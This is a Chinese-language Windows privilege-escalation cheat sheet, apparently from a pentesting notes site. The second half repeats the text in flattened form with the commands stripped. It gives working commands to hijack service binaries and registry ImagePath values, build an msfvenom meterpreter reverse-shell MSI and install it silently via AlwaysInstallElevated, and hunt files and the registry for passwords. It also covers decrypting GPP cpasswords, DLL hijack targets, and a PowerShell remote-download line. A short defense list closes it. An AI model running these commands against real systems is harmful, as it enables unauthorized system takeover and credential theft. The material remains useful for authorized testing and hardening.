Windows提权笔记
字数 3117 2025-08-10 08:28:21

Windows提权全面指南

1. 基础命令参考

系统信息收集命令

命令 描述
systeminfo 打印系统信息
whoami 获取当前用户名
whoami /priv 查看当前账户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印路由表
arp -a 打印ARP表
hostname 显示主机名
net user 列出用户
net user UserName 查看特定用户信息
net localgroup 列出所有组
net localgroup GROUP 查看特定组信息
net view \\127.0.0.1 查看当前计算机的会话
net session 查看开放给其他机器的会话
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出已安装的驱动
tasklist /svc 列出服务任务
net start 列出启动的服务
dir /s foo 搜索包含指定字符的项目
sc query 列出所有服务
sc qc ServiceName 查找指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印文件内容
icacls "C:\Example" 列出目录权限
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装的补丁

其他实用命令

  • 远程下载文件:

    (New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath")
    
  • 权限检查:

    accesschk.exe -qwsu "Group"
    

2. 服务漏洞利用

不带引号的服务路径

漏洞原理
当服务二进制路径未包含在引号中,操作系统会执行找到的空格分隔的服务路径的第一个实例。

示例

C:\Program Files\Vulnerable Service\Sub Directory\service.exe

系统会尝试按顺序执行:

  1. C:\Program.exe
  2. C:\Program Files\Vulnerable.exe
  3. C:\Program Files\Vulnerable Service\Sub.exe
  4. C:\Program Files\Vulnerable Service\Sub Directory\service.exe

检测方法

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

不安全的服务权限

检测方法

accesschk.exe -uwcqv "user" *

查询服务配置

sc qc "ServiceName"

修改服务二进制路径

sc config "Vulnerable" binpath="C:\malicious.exe"

重启服务

sc stop "Vulnerable"
sc start "Vulnerable"

3. 注册表漏洞

关键注册表项

  • HKEY_CLASSES_ROOT - 文件类型的默认应用程序
  • HKEY_CURRENT_USER - 当前用户的个人资料
  • HKEY_LOCAL_MACHINE - 系统配置信息
  • HKEY_USERS - 系统用户配置文件
  • HKEY_CURRENT_CONFIG - 系统启动硬件配置文件

注册表检查工具

使用SubInACL检查服务注册表项:

subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Service" /display

使用AccessChk检查注册表权限。

修改服务ImagePath

reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\malicious.exe" /f

4. 不安全的文件系统权限

检查目录权限

icacls "C:\Program Files (x86)\Program\Service Folder"

常见可写目录

  • 根目录下的软件目录(如Ruby、Perl、Python)
  • 系统安装后创建的目录
  • 远程管理工具目录(如Landesk、Marimba)

5. AlwaysInstallElevated

检测方法

检查以下注册表项:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

利用方法

  1. 使用msfvenom创建恶意.msi文件:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi > malicious.msi
    
  2. 在目标系统上执行:

    msiexec /quiet /qn /i C:\malicious.msi
    

6. 凭证获取技术

搜索敏感文件

dir C:\*vnc.ini /s /b /c
dir C:\ /s /b /c | findstr /sr \*password\*
findstr /si password \*.txt | \*.xml | \*.ini

注册表查询

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

组策略首选项(GPP)漏洞

查找位置

\\REMOTE_HOST\SYSVOL\REMOTE_HOST\Policies\{POLICY_ID}\Machine\Preferences\

常见配置文件

  • Services\Services.xml
  • ScheduledTasks\ScheduledTasks.xml
  • Printers\Printers.xml
  • Drives\Drives.xml
  • DataSources\DataSources.xml

解密cpassword

gpp-decrypt <加密字符串>

7. 令牌权限滥用

常见可利用权限

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

检查当前权限

whoami /priv

8. DLL劫持

DLL搜索顺序

  1. 应用程序目录
  2. 32位系统目录(C:\Windows\System32)
  3. 16位系统目录(C:\Windows\System)
  4. Windows目录(C:\Windows)
  5. 当前工作目录(CWD)
  6. PATH环境变量中的目录

常见易受攻击服务

  • IKE和AuthIP IPsec密钥模块(IKEEXT): wlbsctrl.dll
  • Windows Media Center接收器服务(ehRecvr): ehETW.dll
  • Windows Media Center计划程序服务(ehSched): ehETW.dll
  • 自动更新(wuauserv): ifsproxy.dll
  • 远程桌面帮助会话管理器(RDSessMgr): SalemHook.dll
  • 远程访问连接管理器(RasMan): ipbootp.dll
  • Windows Management Instrumentation(winmgmt): wbemcore.dll
  • 音频服务(STacSV): SFFXComm.dll SFCOM.DLL
  • 英特尔快速存储技术(IAStorDataMgrSvc): DriverSim.dll
  • Juniper统一网络服务(JuniperAccessService): dsLogService.dll
  • Encase Enterprise Agent: SDDisk.dll

修改PATH环境变量

set PATH=%PATH%;C:\Python27

9. 自动化工具

提权工具列表

  1. Metasploit - 综合渗透测试框架
  2. Sherlock - Windows本地提权漏洞扫描器
  3. windows-privesc-check - Windows权限提升检查工具
  4. PowerUp (PowerSploit的一部分) - PowerShell提权模块
  5. Nishang - PowerShell渗透测试框架
  6. Windows-Exploit-Suggester - 根据系统补丁级别建议可利用漏洞

10. 内核漏洞利用

资源参考

注意事项

  1. 检查系统补丁级别
  2. 内核漏洞利用可能影响系统稳定性
  3. 优先尝试其他提权方法

11. 防御建议

  1. 服务配置

    • 始终使用完整引用的服务路径
    • 限制服务账户权限
  2. 注册表安全

    • 审核敏感注册表项的权限
    • 监控关键注册表项的更改
  3. 文件系统

    • 限制对系统目录的写入权限
    • 定期审核文件系统权限
  4. 组策略

    • 禁用或更新包含cpassword的GPP
    • 限制GPP中敏感信息的存储
  5. 安装策略

    • 禁用AlwaysInstallElevated
    • 限制.msi安装权限
  6. 监控

    • 实施DLL加载监控
    • 监控特权令牌的使用
Windows提权全面指南 1. 基础命令参考 系统信息收集命令 | 命令 | 描述 | |------|------| | systeminfo | 打印系统信息 | | whoami | 获取当前用户名 | | whoami /priv | 查看当前账户权限 | | ipconfig | 网络配置信息 | | ipconfig /displaydns | 显示DNS缓存 | | route print | 打印路由表 | | arp -a | 打印ARP表 | | hostname | 显示主机名 | | net user | 列出用户 | | net user UserName | 查看特定用户信息 | | net localgroup | 列出所有组 | | net localgroup GROUP | 查看特定组信息 | | net view \\127.0.0.1 | 查看当前计算机的会话 | | net session | 查看开放给其他机器的会话 | | netsh firewall show config | 显示防火墙配置 | | DRIVERQUERY | 列出已安装的驱动 | | tasklist /svc | 列出服务任务 | | net start | 列出启动的服务 | | dir /s foo | 搜索包含指定字符的项目 | | sc query | 列出所有服务 | | sc qc ServiceName | 查找指定服务的路径 | | shutdown /r /t 0 | 立即重启 | | type file.txt | 打印文件内容 | | icacls "C:\Example" | 列出目录权限 | | wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装的补丁 | 其他实用命令 远程下载文件: 权限检查: 2. 服务漏洞利用 不带引号的服务路径 漏洞原理 : 当服务二进制路径未包含在引号中,操作系统会执行找到的空格分隔的服务路径的第一个实例。 示例 : 系统会尝试按顺序执行: C:\Program.exe C:\Program Files\Vulnerable.exe C:\Program Files\Vulnerable Service\Sub.exe C:\Program Files\Vulnerable Service\Sub Directory\service.exe 检测方法 : 不安全的服务权限 检测方法 : 查询服务配置 : 修改服务二进制路径 : 重启服务 : 3. 注册表漏洞 关键注册表项 HKEY_CLASSES_ROOT - 文件类型的默认应用程序 HKEY_CURRENT_USER - 当前用户的个人资料 HKEY_LOCAL_MACHINE - 系统配置信息 HKEY_USERS - 系统用户配置文件 HKEY_CURRENT_CONFIG - 系统启动硬件配置文件 注册表检查工具 使用SubInACL检查服务注册表项: 使用AccessChk检查注册表权限。 修改服务ImagePath 4. 不安全的文件系统权限 检查目录权限 常见可写目录 根目录下的软件目录(如Ruby、Perl、Python) 系统安装后创建的目录 远程管理工具目录(如Landesk、Marimba) 5. AlwaysInstallElevated 检测方法 检查以下注册表项: 利用方法 使用msfvenom创建恶意.msi文件: 在目标系统上执行: 6. 凭证获取技术 搜索敏感文件 注册表查询 组策略首选项(GPP)漏洞 查找位置 : 常见配置文件 : Services\Services.xml ScheduledTasks\ScheduledTasks.xml Printers\Printers.xml Drives\Drives.xml DataSources\DataSources.xml 解密cpassword : 7. 令牌权限滥用 常见可利用权限 SeImpersonatePrivilege SeAssignPrimaryPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeCreateTokenPrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege 检查当前权限 8. DLL劫持 DLL搜索顺序 应用程序目录 32位系统目录(C:\Windows\System32) 16位系统目录(C:\Windows\System) Windows目录(C:\Windows) 当前工作目录(CWD) PATH环境变量中的目录 常见易受攻击服务 IKE和AuthIP IPsec密钥模块(IKEEXT): wlbsctrl.dll Windows Media Center接收器服务(ehRecvr): ehETW.dll Windows Media Center计划程序服务(ehSched): ehETW.dll 自动更新(wuauserv): ifsproxy.dll 远程桌面帮助会话管理器(RDSessMgr): SalemHook.dll 远程访问连接管理器(RasMan): ipbootp.dll Windows Management Instrumentation(winmgmt): wbemcore.dll 音频服务(STacSV): SFFXComm.dll SFCOM.DLL 英特尔快速存储技术(IAStorDataMgrSvc): DriverSim.dll Juniper统一网络服务(JuniperAccessService): dsLogService.dll Encase Enterprise Agent: SDDisk.dll 修改PATH环境变量 9. 自动化工具 提权工具列表 Metasploit - 综合渗透测试框架 Sherlock - Windows本地提权漏洞扫描器 windows-privesc-check - Windows权限提升检查工具 PowerUp (PowerSploit的一部分) - PowerShell提权模块 Nishang - PowerShell渗透测试框架 Windows-Exploit-Suggester - 根据系统补丁级别建议可利用漏洞 10. 内核漏洞利用 资源参考 Windows内核漏洞利用合集 Exploit-DB本地提权漏洞 Windows内核漏洞利用指南 注意事项 检查系统补丁级别 内核漏洞利用可能影响系统稳定性 优先尝试其他提权方法 11. 防御建议 服务配置 : 始终使用完整引用的服务路径 限制服务账户权限 注册表安全 : 审核敏感注册表项的权限 监控关键注册表项的更改 文件系统 : 限制对系统目录的写入权限 定期审核文件系统权限 组策略 : 禁用或更新包含cpassword的GPP 限制GPP中敏感信息的存储 安装策略 : 禁用AlwaysInstallElevated 限制.msi安装权限 监控 : 实施DLL加载监控 监控特权令牌的使用